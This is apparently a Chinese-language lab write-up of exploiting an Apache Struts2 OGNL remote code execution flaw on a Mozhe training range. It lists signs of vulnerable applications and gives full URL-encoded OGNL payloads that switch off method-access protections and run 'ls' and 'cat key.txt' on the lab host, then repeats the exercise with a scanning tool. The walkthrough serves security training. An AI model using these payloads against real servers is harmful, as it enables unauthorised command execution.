复现的是墨者的Apache Struts2的靶场,用了两种方式,手工和工具检测~~

漏洞简介

开源应用框架Apache Struts存在远程代码执行漏洞(CVE-2021-31805),攻击者可构造恶意的OGNL表达式触发漏洞,实现远程代码执行。

特征

查看被测应用系统的源码,URL 接口地址以 “.action” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下 的 jar 文件,若存在 struts2-core-2..**.jar 或 xwork-core- 2..**.jar 格式的 jar 文件,则需检测是否存在 Struts2 远程代码执行漏洞。

受影响版本为

Apache Struts 2.0.0~2.5.29。

方法一:

1、在url后面添加${1+2}.action:

1
访问http://124.70.71.251:45344/${1+2}.action

发现存在回显

2、发现key.txt,构造:

1
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

3、访问key.txt:

1
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

方法二:

1、利用Struts2漏洞检测工具,输入url(我这个工具是要加index.action)

可以看到漏洞存在:

2、执行命令ls,看到有一个key.txt

3、使用命令cat key.txt获取key.txt的内容,得到flag